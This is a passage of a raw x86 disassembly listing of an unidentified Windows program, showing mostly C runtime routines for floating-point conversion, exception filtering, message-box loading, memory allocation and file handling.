mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424A99
inc ebx
push ebx
push [ebp+arg_0]
call sub_424996
pop ecx
test eax, eax
pop ecx
jnz short loc_424A96
push edi
push [ebp+arg_0]
call sub_4249DF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424A96: ; CODE XREF: sub_424A35+51j
mov eax, [ebp+arg_4]
loc_424A99: ; CODE XREF: sub_424A35+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_424AB9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_424AB9: ; CODE XREF: sub_424A35+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424A35 endp
; =============== S U B R O U T I N E =======================================
sub_424AC1 proc near ; CODE XREF: sub_424B90+75p
; sub_424B90+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_424ACF: ; CODE XREF: sub_424AC1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_424ACF
pop esi
retn
sub_424AC1 endp
; =============== S U B R O U T I N E =======================================
sub_424ADC proc near ; CODE XREF: sub_424B90+5Fp
; sub_424B90+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_424ADC endp
; =============== S U B R O U T I N E =======================================
sub_424AE8 proc near ; CODE XREF: sub_424B90+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_424AEE: ; CODE XREF: sub_424AE8+12j
cmp dword ptr [eax], 0
jnz short loc_424B00
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_424AEE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_424B00: ; CODE XREF: sub_424AE8+9j
xor eax, eax
retn
sub_424AE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B03 proc near ; CODE XREF: sub_424B90+C0p
; sub_424B90+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424B39: ; CODE XREF: sub_424B03+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424B39
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_424B6B: ; CODE XREF: sub_424B03+86j
cmp ebx, edi
jl short loc_424B7E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424B85
; ---------------------------------------------------------------------------
loc_424B7E: ; CODE XREF: sub_424B03+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424B85: ; CODE XREF: sub_424B03+79j
dec ebx
sub ecx, 4
jns short loc_424B6B
pop edi
pop esi
pop ebx
leave
retn
sub_424B03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424B90 proc near ; CODE XREF: sub_424CFC+Dp
; sub_424D12+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_424BFD
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_424AE8
test eax, eax
pop ecx
jnz loc_424CBC
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
loc_424BF5: ; CODE XREF: sub_424B90+E4j
push 2
loc_424BF7: ; CODE XREF: sub_424B90+110j
pop eax
jmp loc_424CBE
; ---------------------------------------------------------------------------
loc_424BFD: ; CODE XREF: sub_424B90+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_424AC1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
add esp, 10h
test eax, eax
jz short loc_424C1E
inc ebx
loc_424C1E: ; CODE XREF: sub_424B90+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424C36
lea eax, [ebp+var_C]
push eax
call sub_424ADC
pop ecx
jmp short loc_424C72
; ---------------------------------------------------------------------------
loc_424C36: ; CODE XREF: sub_424B90+98j
cmp ebx, eax
jg short loc_424C79
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_424AC1
lea eax, [ebp+var_C]
push esi
push eax
call sub_424B03
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424A35
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_424B03
add esp, 20h
loc_424C72: ; CODE XREF: sub_424B90+A4j
xor esi, esi
jmp loc_424BF5
; ---------------------------------------------------------------------------
loc_424C79: ; CODE XREF: sub_424B90+A8j
cmp ebx, [edi]
jl short loc_424CA5
lea eax, [ebp+var_C]
push eax
call sub_424ADC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_424B03
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_424BF7
; ---------------------------------------------------------------------------
loc_424CA5: ; CODE XREF: sub_424B90+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_424B03
pop ecx
pop ecx
loc_424CBC: ; CODE XREF: sub_424B90+55j
xor eax, eax
loc_424CBE: ; CODE XREF: sub_424B90+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_424CED
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_424CF7
; ---------------------------------------------------------------------------
loc_424CED: ; CODE XREF: sub_424B90+14Ej
cmp edi, 20h
jnz short loc_424CF7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_424CF7: ; CODE XREF: sub_424B90+15Bj
; sub_424B90+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424B90 endp
; =============== S U B R O U T I N E =======================================
sub_424CFC proc near ; CODE XREF: sub_424D28+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D7F8
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424CFC endp
; =============== S U B R O U T I N E =======================================
sub_424D12 proc near ; CODE XREF: sub_424D55+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D810
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424B90
add esp, 0Ch
retn
sub_424D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D28 proc near ; CODE XREF: sub_42223B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424CFC
add esp, 24h
leave
retn
sub_424D28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D55 proc near ; CODE XREF: sub_42223B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4254A2
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424D12
add esp, 24h
leave
retn
sub_424D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424D82 proc near ; CODE XREF: sub_422279+65p
; sub_42237D+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_424DBF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424DA5: ; CODE XREF: sub_424D82+38j
mov dl, [ecx]
test dl, dl
jz short loc_424DB1
movsx edx, dl
inc ecx
jmp short loc_424DB4
; ---------------------------------------------------------------------------
loc_424DB1: ; CODE XREF: sub_424D82+27j
push 30h
pop edx
loc_424DB4: ; CODE XREF: sub_424D82+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424DA5
mov edx, [ebp+arg_8]
loc_424DBF: ; CODE XREF: sub_424D82+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_424DD8
cmp byte ptr [ecx], 35h
jl short loc_424DD8
loc_424DCB: ; CODE XREF: sub_424D82+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_424DD6
mov byte ptr [eax], 30h
jmp short loc_424DCB
; ---------------------------------------------------------------------------
loc_424DD6: ; CODE XREF: sub_424D82+4Dj
inc byte ptr [eax]
loc_424DD8: ; CODE XREF: sub_424D82+42j
; sub_424D82+47j
cmp byte ptr [esi], 31h
jnz short loc_424DE2
inc dword ptr [edx+4]
jmp short loc_424DF4
; ---------------------------------------------------------------------------
loc_424DE2: ; CODE XREF: sub_424D82+59j
push edi
call sub_41B9C0
inc eax
push eax
push edi
push esi
call sub_41D670
add esp, 10h
loc_424DF4: ; CODE XREF: sub_424D82+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424D82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424DF9 proc near ; CODE XREF: sub_422279+3Fp
; sub_42237D+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_424E5D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBFB8
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_425973
mov dword_4DBFE0, eax
add esp, 18h
movsx eax, byte_4DBFBA
mov dword_4DBFD8, eax
pop edi
movsx eax, word_4DBFB8
mov dword_4DBFDC, eax
mov dword_4DBFE4, offset dword_4DBFBC
mov eax, offset dword_4DBFD8
pop esi
leave
retn
sub_424DF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424E5D proc near ; CODE XREF: sub_424DF9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_424EAB
cmp ebx, edi
jz short loc_424EA4
lea edi, [ecx+3C00h]
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EA4: ; CODE XREF: sub_424E5D+3Dj
mov edi, 7FFFh
jmp short loc_424ECC
; ---------------------------------------------------------------------------
loc_424EAB: ; CODE XREF: sub_424E5D+39j
xor ebx, ebx
cmp eax, ebx
jnz short loc_424EC3
cmp edx, ebx
jnz short loc_424EC3
mov eax, [ebp+arg_0]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], bx
jmp short loc_424F0E
; ---------------------------------------------------------------------------
loc_424EC3: ; CODE XREF: sub_424E5D+52j
; sub_424E5D+56j
lea edi, [ecx+3C01h]
mov [ebp+var_4], ebx
loc_424ECC: ; CODE XREF: sub_424E5D+45j
; sub_424E5D+4Cj
mov ecx, edx
shr ecx, 15h
shl eax, 0Bh
or ecx, eax
mov eax, [ebp+arg_0]
or ecx, [ebp+var_4]
shl edx, 0Bh
mov [eax+4], ecx
mov [eax], edx
loc_424EE4: ; CODE XREF: sub_424E5D+A6j
test ecx, esi
jnz short loc_424F05
mov edx, [eax]
add ecx, ecx
mov ebx, edx
shr ebx, 1Fh
or ebx, ecx
lea ecx, [edx+edx]
mov [eax], ecx
mov [eax+4], ebx
add edi, 0FFFFh
mov ecx, ebx
jmp short loc_424EE4
; ---------------------------------------------------------------------------
loc_424F05: ; CODE XREF: sub_424E5D+89j
mov ecx, [ebp+arg_4]
or ecx, edi
mov [eax+8], cx
loc_424F0E: ; CODE XREF: sub_424E5D+64j
pop edi
pop esi
pop ebx
leave
retn
sub_424E5D endp
; ---------------------------------------------------------------------------
push 2
call sub_41E2C9
pop ecx
retn
; =============== S U B R O U T I N E =======================================
sub_424F1C proc near ; DATA XREF: ___:0043D438o
; ___:0043DB78o
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi]
cmp dword ptr [eax], 0E06D7363h
jnz short loc_424F3F
cmp dword ptr [eax+10h], 3
jnz short loc_424F3F
cmp dword ptr [eax+14h], 19930520h
jnz short loc_424F3F
jmp sub_422DFC
; ---------------------------------------------------------------------------
loc_424F3F: ; CODE XREF: sub_424F1C+Dj
; sub_424F1C+13j ...
mov eax, dword_4DBFE8
test eax, eax
jz short loc_424F5C
push eax
call sub_424FB8
test eax, eax
pop ecx
jz short loc_424F5C
push esi
call dword_4DBFE8
jmp short loc_424F5E
; ---------------------------------------------------------------------------
loc_424F5C: ; CODE XREF: sub_424F1C+2Aj
; sub_424F1C+35j
xor eax, eax
loc_424F5E: ; CODE XREF: sub_424F1C+3Ej
pop esi
retn 4
sub_424F1C endp
; ---------------------------------------------------------------------------
word_424F62 dw 1C68h ; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
dec edi
inc edx
add [eax+1EB093E8h], dl
add ah, byte ptr dword_4DBFE8[ebx]
retn
; ---------------------------------------------------------------------------
byte_424F73 db 0FFh ; DATA XREF: ___:0042903Co
dd 4DBFE835h, 81E89000h, 0C3021EB0h
; =============== S U B R O U T I N E =======================================
sub_424F80 proc near ; CODE XREF: sub_422651+6Bp
; sub_422B62+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 2600B37h
nop
test eax, eax
jz short loc_424F98
xor esi, esi
loc_424F98: ; CODE XREF: sub_424F80+14j
mov eax, esi
pop esi
retn
sub_424F80 endp
; =============== S U B R O U T I N E =======================================
sub_424F9C proc near ; CODE XREF: sub_422B62+73p
; sub_422B62+BFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 1
pop esi
push [esp+4+arg_4]
push [esp+8+arg_0]
call near ptr 2660000h
nop
test eax, eax
jz short loc_424FB4
xor esi, esi
loc_424FB4: ; CODE XREF: sub_424F9C+14j
mov eax, esi
pop esi
retn
sub_424F9C endp
; =============== S U B R O U T I N E =======================================
sub_424FB8 proc near ; CODE XREF: sub_422B62+15Bp
; sub_424F1C+2Dp
arg_0 = dword ptr 4
push esi
push 1
pop esi
push [esp+4+arg_0]
call near ptr 2600A9Ch
nop
test eax, eax
jz short loc_424FCC
xor esi, esi
loc_424FCC: ; CODE XREF: sub_424FB8+10j
mov eax, esi
pop esi
retn
sub_424FB8 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422DFC
loc_424FD0: ; CODE XREF: sub_422DFC:loc_422E4Dj
push 0Ah
call sub_423DD1
push 16h
call sub_425C06
pop ecx
pop ecx
push 3
call sub_41C1A2
; END OF FUNCTION CHUNK FOR sub_422DFC
; =============== S U B R O U T I N E =======================================
sub_424FE7 proc near ; CODE XREF: ___:004236A6p
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_424FF8
add esp, 0Ch
retn
sub_424FE7 endp
; =============== S U B R O U T I N E =======================================
sub_424FF8 proc near ; CODE XREF: sub_424FE7+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DD261[eax], cl
jnz short loc_425025
cmp [esp+arg_4], 0
jz short loc_42501E
movzx eax, word_43CE82[eax*2]
and eax, [esp+arg_4]
jmp short loc_425020
; ---------------------------------------------------------------------------
loc_42501E: ; CODE XREF: sub_424FF8+16j
xor eax, eax
loc_425020: ; CODE XREF: sub_424FF8+24j
test eax, eax
jnz short loc_425025
retn
; ---------------------------------------------------------------------------
loc_425025: ; CODE XREF: sub_424FF8+Fj
; sub_424FF8+2Aj
push 1
pop eax
retn
sub_424FF8 endp
; =============== S U B R O U T I N E =======================================
sub_425029 proc near ; CODE XREF: sub_423DD1+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DBFEC, ebx
push esi
push edi
jnz short loc_425078
push offset aUser32_dll ; "user32.dll"
call near ptr 26B0000h
nop
mov edi, eax
cmp edi, ebx
jz short loc_4250AE
mov esi, dword_4270C4
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi
test eax, eax
mov dword_4DBFEC, eax
jz short loc_4250AE
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DBFF0, eax
call esi
mov dword_4DBFF4, eax
loc_425078: ; CODE XREF: sub_425029+Bj
mov eax, dword_4DBFF0
test eax, eax
jz short loc_425097
call eax
mov ebx, eax
test ebx, ebx
jz short loc_425097
mov eax, dword_4DBFF4
test eax, eax
jz short loc_425097
push ebx
call eax
mov ebx, eax
loc_425097: ; CODE XREF: sub_425029+56j
; sub_425029+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DBFEC
loc_4250AA: ; CODE XREF: sub_425029+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4250AE: ; CODE XREF: sub_425029+1Cj
; sub_425029+33j
xor eax, eax
jmp short loc_4250AA
sub_425029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4250B2 proc near ; CODE XREF: sub_42413E+22p
; sub_42413E+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_4250D3
test esi, esi
jnz short loc_4250CD
push 1
pop esi
loc_4250CD: ; CODE XREF: sub_4250B2+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_4250D3: ; CODE XREF: sub_4250B2+12j
; sub_4250B2+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_425132
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_4250FE
mov eax, [ebp+arg_0]
cmp eax, dword_4DD380
ja short loc_42511D
push eax
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425148
jmp short loc_42511D
; ---------------------------------------------------------------------------
loc_4250FE: ; CODE XREF: sub_4250B2+30j
cmp eax, 2
jnz short loc_42511D
cmp esi, dword_43CE74
ja short loc_42511D
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_42515C
loc_42511D: ; CODE XREF: sub_4250B2+3Bj
; sub_4250B2+4Aj ...
push esi
push 8
push dword_4DD384
nop
call near ptr 27C0000h
mov edi, eax
test edi, edi
jnz short loc_425156
loc_425132: ; CODE XREF: sub_4250B2+26j
cmp dword_4DBE48, 0
jz short loc_425156
push esi
call sub_41FBB2
test eax, eax
pop ecx
jz short loc_42515F
jmp short loc_4250D3
; ---------------------------------------------------------------------------
loc_425148: ; CODE XREF: sub_4250B2+48j
push [ebp+arg_0]
loc_42514B: ; CODE XREF: sub_4250B2+ABj
push 0
push edi
call sub_41BF70
add esp, 0Ch
loc_425156: ; CODE XREF: sub_4250B2+7Ej
; sub_4250B2+87j
mov eax, edi
loc_425158: ; CODE XREF: sub_4250B2+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42515C: ; CODE XREF: sub_4250B2+69j
push esi
jmp short loc_42514B
; ---------------------------------------------------------------------------
loc_42515F: ; CODE XREF: sub_4250B2+92j
xor eax, eax
jmp short loc_425158
sub_4250B2 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4241E3
loc_425163: ; CODE XREF: sub_4241E3+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DD020, esi
jle short loc_4251B6
loc_425172: ; CODE XREF: sub_4241E3+FD1j
mov eax, dword_4DC01C
mov eax, [eax+esi*4]
test eax, eax
jz short loc_4251AD
test byte ptr [eax+0Ch], 83h
jz short loc_425191
push eax
call sub_41BA3B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425191
inc edi
loc_425191: ; CODE XREF: sub_4241E3+F9Fj
; sub_4241E3+FABj
cmp esi, 14h
jl short loc_4251AD
mov eax, dword_4DC01C
push dword ptr [eax+esi*4]
call sub_41BA91
mov eax, dword_4DC01C
pop ecx
and dword ptr [eax+esi*4], 0
loc_4251AD: ; CODE XREF: sub_4241E3+F99j
; sub_4241E3+FB1j
inc esi
cmp esi, dword_4DD020
jl short loc_425172
loc_4251B6: ; CODE XREF: sub_4241E3+F8Dj
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_4241E3
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4251BB proc near ; CODE XREF: sub_42423B+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C500
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DD140
jnb loc_4252F0
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DD040[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_4252F0
push 1
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_4252FA
push 2
push esi
push ebx
call sub_422F09
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_4252FA
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42529D
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BF70
loc_425240: ; DATA XREF: ___:off_438CB8o
push 8000h
push ebx
call sub_425D78
add esp, 14h
mov [ebp+arg_4], eax
loc_425251: ; CODE XREF: sub_4251BB+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_42525C
mov eax, edi
loc_42525C: ; CODE XREF: sub_4251BB+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4230FB
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_42527A
sub edi, eax
test edi, edi
jle short loc_425290
jmp short loc_425251
; ---------------------------------------------------------------------------
loc_42527A: ; CODE XREF: sub_4251BB+B5j
cmp dword_4DBDE0, 5
jnz short loc_42528D
mov dword_4DBDDC, 0Dh
loc_42528D: ; CODE XREF: sub_4251BB+C6j
or esi, 0FFFFFFFFh
loc_425290: ; CODE XREF: sub_4251BB+BBj
push [ebp+arg_4]
push ebx
call sub_425D78
pop ecx
pop ecx
jmp short loc_4252DD
; ---------------------------------------------------------------------------
loc_42529D: ; CODE XREF: sub_4251BB+71j
jge short loc_4252DD
push 0
push [ebp+arg_4]
push ebx
call sub_422F09
push ebx
call sub_4240AA
add esp, 10h
push eax
nop
call near ptr 2600000h
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_4252DD
mov dword_4DBDDC, 0Dh
nop
call near ptr 2680972h
mov dword_4DBDE0, eax
loc_4252DD: ; CODE XREF: sub_4251BB+E0j
; sub_4251BB:loc_42529Dj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422F09
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_4252FD
; ---------------------------------------------------------------------------
loc_4252F0: ; CODE XREF: sub_4251BB+1Aj
; sub_4251BB+36j
mov dword_4DBDDC, 9
loc_4252FA: ; CODE XREF: sub_4251BB+4Ej
; sub_4251BB+63j
or eax, 0FFFFFFFFh
loc_4252FD: ; CODE XREF: sub_4251BB+133j
pop esi
pop ebx
leave
retn
sub_4251BB endp
; =============== S U B R O U T I N E =======================================
sub_425301 proc near ; CODE XREF: sub_4249DF+2Bp
; sub_4249DF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425317
cmp ecx, esi
jnb short loc_42531A
loc_425317: ; CODE XREF: sub_425301+10j
push 1
pop eax
loc_42531A: ; CODE XREF: sub_425301+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425301 endp
; =============== S U B R O U T I N E =======================================
sub_425322 proc near ; CODE XREF: sub_4253DB+40p
; sub_4253DB+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_425354
inc dword ptr [esi+8]
loc_425354: ; CODE XREF: sub_425322+19j
; sub_425322+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
test eax, eax
jz short loc_42536C
inc dword ptr [esi+8]
loc_42536C: ; CODE XREF: sub_425322+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425301
add esp, 0Ch
pop edi
pop esi
retn
sub_425322 endp
; =============== S U B R O U T I N E =======================================
sub_425380 proc near ; CODE XREF: sub_4253DB+30p
; sub_4253DB+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_425380 endp
; =============== S U B R O U T I N E =======================================
sub_4253AE proc near ; CODE XREF: sub_425973+1C8p
; sub_425DEE+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_4253AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4253DB proc near ; CODE XREF: sub_4254A2+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
